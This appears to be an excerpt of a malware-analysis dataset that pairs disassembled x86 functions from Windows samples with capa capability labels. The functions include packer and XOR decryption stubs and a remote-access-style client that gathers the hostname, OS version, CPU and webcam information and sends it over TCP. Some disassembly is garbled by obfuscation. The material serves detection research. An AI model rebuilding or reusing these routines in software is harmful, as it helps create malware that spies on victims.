joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c2640
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x80000]
push edi
jmp 0x4c265a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c2661
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2650
mov eax, 1
add ebx, ebx
jne 0x4c2673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c2684
jne 0x4c26a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c26a3
dec eax
add ebx, ebx
jne 0x4c2690
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c2668
add ebx, ebx
jne 0x4c269f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c26f5
xor ecx, ecx
sub eax, 3
jb 0x4c26bb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c272a
sar eax, 1
mov ebp, eax
jmp 0x4c26c6
add ebx, ebx
jne 0x4c26c6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2694
inc ecx
add ebx, ebx
jne 0x4c26d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c2694
add ebx, ebx
jne 0x4c26e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c26d6
jne 0x4c26f2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c26d6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c2714
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c2706
jmp 0x4c2656
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c2714
add edi, ecx
jmp 0x4c2656
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c2732
cmp byte [edi], 0x13
jne 0x4c2732
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c2737
lea edi, [esi + 0xbe000]
mov eax, dword [edi]
or eax, eax
je 0x4c27af
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd5464]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd55b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c2764
mov ecx, edi
jns 0x4c2793
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd55bc]
or eax, eax
je 0x4c27a9
mov dword [ebx], eax
add ebx, 4
jmp 0x4c2781
call dword [esi + 0xd55cc]
mov ebp, dword [esi + 0xd55c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c27e3
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x10010dc
Capabilities:
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push 0x1002040
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x100110e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2713
call fcn.01001439
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov esi, 0x10010ac
jmp 0x1001121
cmp al, 0x73
jne 0x1001142
xor ebx, ebx
inc ebx
push esi
push edi
push dword [ebp + 8]
call fcn.01001475
cmp eax, 0xffffffff
jne 0x100111a
mov eax, dword [0x1002004]
cmp dword [edi + eax*4], 0
je 0x1001154
push 0x2714
jmp 0x1001147
push 0x2710
push 2
call fcn.010013ca
pop ecx
pop ecx
push 1
jmp 0x10011d0
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jge 0x100117d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2712
call fcn.01001439
jmp 0x1001150
test ebx, ebx
je 0x1001199
lea eax, [ebp - 0x400]
push 0x2e
push eax
call dword [sym.imp.msvcrt.dll_strchr]
test eax, eax
pop ecx
pop ecx
je 0x1001199
and byte [eax], 0
lea eax, [ebp - 0x400]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011a2
sub eax, edx
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.msvcrt.dll_puts]
pop ecx
push 0
call dword [sym.imp.msvcrt.dll_exit]
int3

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10002077
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [0x1003bd74], esi
call fcn.10012cf0
push eax
push dword [ebp + 8]
push 0x1003bc70
call fcn.1000ced0
mov ax, word [ebp + 0xc]
add esp, 0x10
mov word [0x1003bd78], ax
push esi
push esi
push esi
push 0x100020ec
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
ret

Function at 0x10002224
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x1003a024]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x10]
push eax
xor ebx, ebx
push 0x202
mov dword [edi], vtable.IOCPClient.0
mov dword [edi + 0x20], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [edi + 4], 0xffffffff
lea esi, [edi + 0x18]
push 8
push ebx
push esi
mov dword [edi + 0xc], ebx
mov dword [edi + 8], ebx
call fcn.1000d450
push 5
push str.Shine
push esi
call fcn.1000ced0
add esp, 0x18
mov dword [edi + 0x10], 1
lea ecx, [edi + 0x24]
mov dword [edi + 0x14], ebx
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov cl, byte [ebp + 8]
mov eax, edi
mov byte [edi + 0x3c], cl
mov ecx, dword [esp + 0x1a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000b900
mov esp, ebp
pop ebp
ret 4
Function at 0x10002335
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns
Set socket configuration

Disassembly:
push 0x74
mov eax, 0x10026f1f
call fcn.1000c1df
mov edi, ecx
push 6
pop ebx
push ebx
push 1
xor esi, esi
mov dword [ebp - 0x80], esi
movzx eax, word [0x1003bd78]
push 2
mov dword [ebp - 0x7c], eax
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 4], eax
cmp eax, 0xffffffff
jne 0x10002371
xor eax, eax
jmp 0x100024d8
push 2
pop eax
push dword [ebp - 0x7c]
mov word [ebp - 0x44], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x42], ax
mov al, byte [0x1003bc70]
cmp al, 0x30
jl 0x100023a4
cmp al, 0x39
jg 0x100023a4
push 0x1003bc70
lea ecx, [ebp - 0x74]
call fcn.1000162e
xor ebx, ebx
inc ebx
jmp 0x100023d3
push 0x1003bc70
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100023c2
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x100023c7
mov eax, 0x10036fc4
push eax
lea ecx, [ebp - 0x5c]
call fcn.1000162e
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call fcn.10001797
mov dword [ebp - 4], 1
test bl, 2
je 0x100023fc
lea ecx, [ebp - 0x5c]
and ebx, 0xfffffffd
call fcn.1000165d
push 2
pop eax
mov byte [ebp - 4], al
test bl, 1
je 0x1000240f
lea ecx, [ebp - 0x74]
call fcn.1000165d
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x44]
push 0x10
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10002450
cmp dword [edi + 4], eax
je 0x100024ce
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_closesocket]
or dword [edi + 4], 0xffffffff
jmp 0x100024ce
push 4
lea eax, [ebp - 0x78]
xor ebx, ebx
push eax
push 8
push 0xffff
push dword [edi + 4]
inc ebx
mov dword [ebp - 0x78], ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1000249d
push esi
push esi
lea eax, [ebp - 0x78]
mov dword [ebp - 0x1c], ebx
push eax
push esi
push esi
push 0xc
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x2bf20
push eax
push 0x98000004
push dword [edi + 4]
mov dword [ebp - 0x14], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
cmp dword [edi + 0xc], esi
jne 0x100024bf
push esi
push esi
push edi
push 0x100024e0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [edi + 0xc], eax
test eax, eax
setne cl
mov dword [edi + 8], ecx
mov edx, 0x10036ffc
call fcn.100017bd
mov dword [edi + 0x14], ebx
mov esi, ebx
lea ecx, [ebp - 0x34]
call fcn.1000165d
mov eax, esi
call fcn.1000c18e
ret 8
Function at 0x10002948
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, ecx
mov ecx, dword [ebp + 8]
mov eax, 0x8000
push esi
push edi
mov dword [ebp - 4], edx
xor esi, esi
cmp ebx, eax
jb 0x100029a3
xor edi, edi
jmp 0x1000296e
mov eax, 0x8000
push 0
push eax
push ecx
push dword [edx + 4]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000298d
mov ecx, dword [ebp + 8]
inc edi
mov edx, dword [ebp - 4]
cmp edi, 0xf
jl 0x10002969
je 0x100029c8
mov ecx, dword [ebp + 8]
add esi, eax
mov edx, dword [ebp - 4]
mov eax, 0x8000
add ecx, eax
sub ebx, eax
mov dword [ebp + 8], ecx
jmp 0x10002961
test ebx, ebx
jle 0x100029ce
xor edi, edi
push 0
push ebx
push ecx
push dword [edx + 4]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100029cc
mov ecx, dword [ebp + 8]
inc edi
mov edx, dword [ebp - 4]
cmp edi, 0xf
jl 0x100029a9
jne 0x100029cc
xor eax, eax
jmp 0x100029d6
add esi, eax
xor eax, eax
cmp esi, dword [ebp + 0xc]
sete al
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10002b14
Capabilities:
Check os version
Get system information on windows

Disassembly:
push 0xec
mov eax, 0x10026f92
call fcn.1000c1df
mov edi, ecx
mov dword [ebp - 0xcc], edi
mov esi, 0x100371fc
mov dword [ebp - 0xcc], edi
push esi
lea ecx, [ebp - 0x28]
call fcn.1000162e
xor ebx, ebx
push str.ntdll.dll
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RtlGetNtVersionNumbers
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0xcc]
push ecx
lea ecx, [ebp - 0xd0]
push ecx
call eax
cmp dword [ebp - 0xd0], 6
jne 0x10002bb6
cmp dword [ebp - 0xcc], 3
jne 0x10002bce
mov esi, str.Windows_8.1
push esi
call fcn.10012cf0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.10001683
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0x1003723c
call fcn.10002ae8
pop ecx
jmp 0x10002d4d
cmp dword [ebp - 0xd0], 0xa
jne 0x10002bce
cmp dword [ebp - 0xcc], ebx
jne 0x10002bce
mov esi, str.Windows_10
jmp 0x10002b89
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0xc8]
mov dword [ebp - 0xc8], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10002d43
mov eax, dword [ebp - 0xc4]
sub eax, 4
je 0x10002ced
sub eax, 1
je 0x10002c79
sub eax, 1
jne 0x10002b89
mov eax, dword [ebp - 0xc0]
sub eax, ebx
je 0x10002c5f
sub eax, 1
je 0x10002c49
sub eax, 1
jne 0x10002b9a
cmp byte [ebp - 0x2e], 1
jne 0x10002c3f
mov esi, str.Windows_8
jmp 0x10002b89
mov esi, str.Windows_Server_2012
jmp 0x10002b89
cmp byte [ebp - 0x2e], 1
mov esi, str.Windows_7
mov eax, str.Windows_Server_2008_R2
cmovne esi, eax
jmp 0x10002b89
cmp byte [ebp - 0x2e], 1
jne 0x10002c6f
mov esi, str.Windows_Vista
jmp 0x10002b89
mov esi, str.Windows_Server_2008
jmp 0x10002b89
mov eax, dword [ebp - 0xc0]
sub eax, ebx
je 0x10002ce3
sub eax, 1
je 0x10002cd9
sub eax, 1
jne 0x10002b9a
cmp byte [ebp - 0x2e], 1
jne 0x10002cab
cmp word [ebp - 0xf8], 9
jne 0x10002cab
mov esi, str.Windows_XP_Professional_x64_Edition
jmp 0x10002b89
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x59
call esi
test eax, eax
jne 0x10002cc3
mov esi, str.Windows_Server_2003
jmp 0x10002b89
push 0x59
call esi
test eax, eax
je 0x10002b9a
mov esi, str.Windows_Server_2003_R2
jmp 0x10002b89
mov esi, str.Windows_XP
jmp 0x10002b89
mov esi, str.Windows_2000
jmp 0x10002b89
mov eax, dword [ebp - 0xc0]
test eax, eax
je 0x10002d19
cmp eax, 0xa
je 0x10002d0f
cmp eax, 0x5a
jne 0x10002b9a
mov esi, str.Windows_Me
jmp 0x10002b89
mov esi, str.Windows_98
jmp 0x10002b89
cmp dword [ebp - 0xb8], 2
jne 0x10002d2c
mov esi, str.Windows_NT_4.0
jmp 0x10002b89
cmp dword [ebp - 0xb8], 1
jne 0x10002b9a
mov esi, str.Windows_95
jmp 0x10002b89
push 0x10037364
call fcn.10002ae8
pop ecx
mov dword [edi], ebx
lea eax, [ebp - 0x28]
mov dword [edi + 0x10], ebx
mov ecx, edi
push eax
mov dword [edi + 0x14], ebx
call fcn.10001797
lea ecx, [ebp - 0x28]
call fcn.1000165d
mov eax, edi
call fcn.1000c18e
ret
Function at 0x10002d71
Capabilities:
Get cpu information
Get hostname
Get local ipv4 addresses
Get socket information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
mov eax, dword [0x1003a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1b3
xor esi, esi
mov dword [ebp - 0x39c], edx
lea eax, [ebp - 0x387]
mov ebx, ecx
push esi
push eax
call fcn.1000d450
add esp, 0xc
mov byte [ebp - 0x388], 0x66
lea ecx, [ebp - 0x1d0]
call fcn.10002b14
push 0x10
pop edi
cmp dword [eax + 0x14], edi
jb 0x10002dc2
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x387]
push 0x9c
push eax
call fcn.10013b40
add esp, 0xc
lea ecx, [ebp - 0x1d0]
call fcn.1000165d
push 0x104
lea eax, [ebp - 0x140]
push esi
push eax
call fcn.1000d450
add esp, 0xc
lea eax, [ebp - 0x140]
push 0x104
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
lea eax, [ebp - 0x1b8]
push esi
push eax
call fcn.1000d450
add esp, 0xc
mov dword [ebp - 0x390], edi
lea eax, [ebp - 0x390]
push eax
lea eax, [ebp - 0x1b8]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
pop eax
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x398], eax
lea eax, [ebp - 0x38c]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x394]
push eax
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x398]
push eax
push esi
push str.MHz
push dword [ebp - 0x38c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x38c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, esi
test esi, esi
jne 0x10002eb4
push 0x32
lea eax, [ebp - 0x38]
push eax
push 0x64
lea eax, [ebp - 0x1a8]
push eax
push edi
call dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
inc edi
mov esi, eax
cmp edi, 0xa
jl 0x10002e92
push 0x104
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.1000ced0
mov eax, dword [ebp - 0x39c]
add esp, 0xc
mov dword [ebp - 0x1d8], eax
mov ecx, ebx
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x2e4], eax
lea eax, [ebp - 0x388]
push 0x1b4
push eax
mov dword [ebp - 0x1dc], esi
call fcn.10002834
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b900
leave
ret
Function at 0x10006e00
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10006e10
Function at 0x1001b735
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001b63a

Function at 0x1001c7c6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001c645
Function at 0x4065ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406610
xor eax, eax
test eax, eax
je 0x406623
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406623
xor ecx, ecx
jmp 0x406626
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x40674f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4318ec], 0
push esi
jne 0x406786
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406760
mov dword [ecx*4 + 0x4318e8], eax
inc ecx
cmp ecx, 0x100
jl 0x40675b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067b7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4318e8]
xor eax, esi
inc ecx
dec edx
jne 0x406799
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405357
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [0x4805c770]
mov al, 0x42
add byte [eax + eax], al
add byte [eax + 0x33], dl
shr byte [eax + 0x48], 0xb0
inc edx
add byte [eax + 0x50], dl
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test al, al
je 0x405392
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x40541c
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405810
mov edi, eax
cmp edi, 0xffffffff
je 0x40545d
test byte [esp + 0x10], 1
push esi
je 0x40543f
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x405445
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40544e
xor eax, eax
inc eax
jmp 0x40545f
test byte [esp + 0x10], 4
jne 0x40545d
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x405bc6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
test eax, eax
jge 0x405be4
mov ecx, dword [0x42db9c]
lea eax, [eax*4 + 4]
sub ecx, eax
mov eax, dword [ecx]
mov ecx, dword [0x42e3f8]
push ebx
add ecx, eax
mov eax, 0x42d360
cmp dword [ebp + 8], eax
push esi
push edi
mov edi, eax
jb 0x405dec
mov edx, dword [ebp + 8]
sub edx, eax
cmp edx, 0x800
jae 0x405dec
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x405dec
mov esi, edi
sub esi, eax
cmp esi, 0x400
jge 0x405df6
inc ecx
cmp dl, 4
mov dword [ebp + 0xc], ecx
jae 0x405ddf
movsx eax, byte [ecx + 1]
movsx ecx, byte [ecx]
mov esi, eax
mov ebx, ecx
and esi, 0x7f
and ebx, 0x7f
shl esi, 7
or esi, ebx
mov ebx, ecx
add dword [ebp + 0xc], 2
or bh, 0x80
mov dword [ecx - 0x18], ebx
mov ebx, ecx
mov ecx, eax
mov dword [ebp - 0x14], ebx
or ch, 0x80
cmp dl, 2
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jne 0x405d89
push 2
pop esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
test dword [eax + 0x3d661879], eax
add al, 0x5a
je 0x405c99
cmp dword [ebp - 0xc], 0x23
je 0x405c99
cmp dword [ebp - 0xc], 0x2e
je 0x405c99
and dword [ebp - 8], 0
jmp 0x405ca0
mov dword [ebp - 4], 1
cmp dword [ecx], 0x44
in al, 0x42
add byte [eax], al
je 0x405cac
push 4
pop esi
test bl, bl
jns 0x405ce7
mov eax, ebx
and ebx, 0x3f
add ebx, dword [0x42e3f8]
and eax, 0x40
push eax
push edi
adc ebp, dword [eax + 0x1c]
jae 0x405d05
add byte [eax + 2], ch
add byte [eax], al
sub al, 0xbb
std
invalid
cmp ebx, 0x25
jne 0x405cfa
push 0x400
push edi
call dword [0x4022e8]
jmp 0x405d6b
cmp ebx, 0x24
jne 0x405d67
push 0x400
push ebp
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor esi, esi
jmp 0x405d67
test esi, esi
xor eax, 0x3f80a0
cmp byte [edi], 0
je 0x405d81
cmp dword [ebp - 0xc], 0x1a
jne 0x405d81
push str.MicrosoftInternet_ExplorerQuick_Launch
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call fcn.00405e0f
jmp 0x405dcd
cmp dl, 3
jne 0x405dbc
cmp esi, 0x1d
jne 0x405da1
push dword [0x42e3c8]
push edi
call fcn.00405b02
jmp 0x405db2
mov eax, esi
shl eax, 0xa
add eax, section..ndata
push eax
push edi
call 0x80405ba4
add esi, 0xffffffe9
cmp esi, 0xeb137307
lds eax, [eax + 0xc7501fa]
cmp dl, 1
jne 0x405dcd
or eax, 0xffffffff
sub eax, esi
push eax
push edi
call fcn.00405bc6
push edi
call sub.KERNEL32.dll_lstrlenA
mov ecx, dword [ebp + 0xc]
add edi, eax
mov eax, 0x425340
jmp 0x405dec
jne 0x405de9
mov dl, byte [ecx]
mov byte [edi], dl
inc edi
inc ecx
jmp 0x405dec
mov byte [edi], dl
inc edi
mov dl, byte [ecx]
test dl, dl
jne 0x405c1c
and byte [edi], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x405e0b
push eax
push dword [ebp + 8]
call fcn.00405ba4
leave
ret 8
Function at 0x405f41
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdd4], 0
push esi
jne 0x405f78
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f52
mov dword [ecx*4 + 0x42bdd0], eax
inc ecx
cmp ecx, 0x100
jl 0x405f4d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fa9
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdd0]
xor eax, esi
inc ecx
dec edx
jne 0x405f8b
pop edi
not eax
pop esi
ret 0xc

Function at 0x427432
Capabilities:
Encode data using xor

Disassembly:
pop ebp
clc
pushal
lea edi, [ebp + 0x42]
mov si, 0x256
cld
mov cl, byte [edi]
xor cl, 0x59
rol cl, 0xc4
xor cl, 0x18
mov byte [edi], cl
inc edi
dec si
jne 0x42743d
jmp 0x427495
fmul st(0)
fdivr dword [esi + 0x7d0c6bc0]
invalid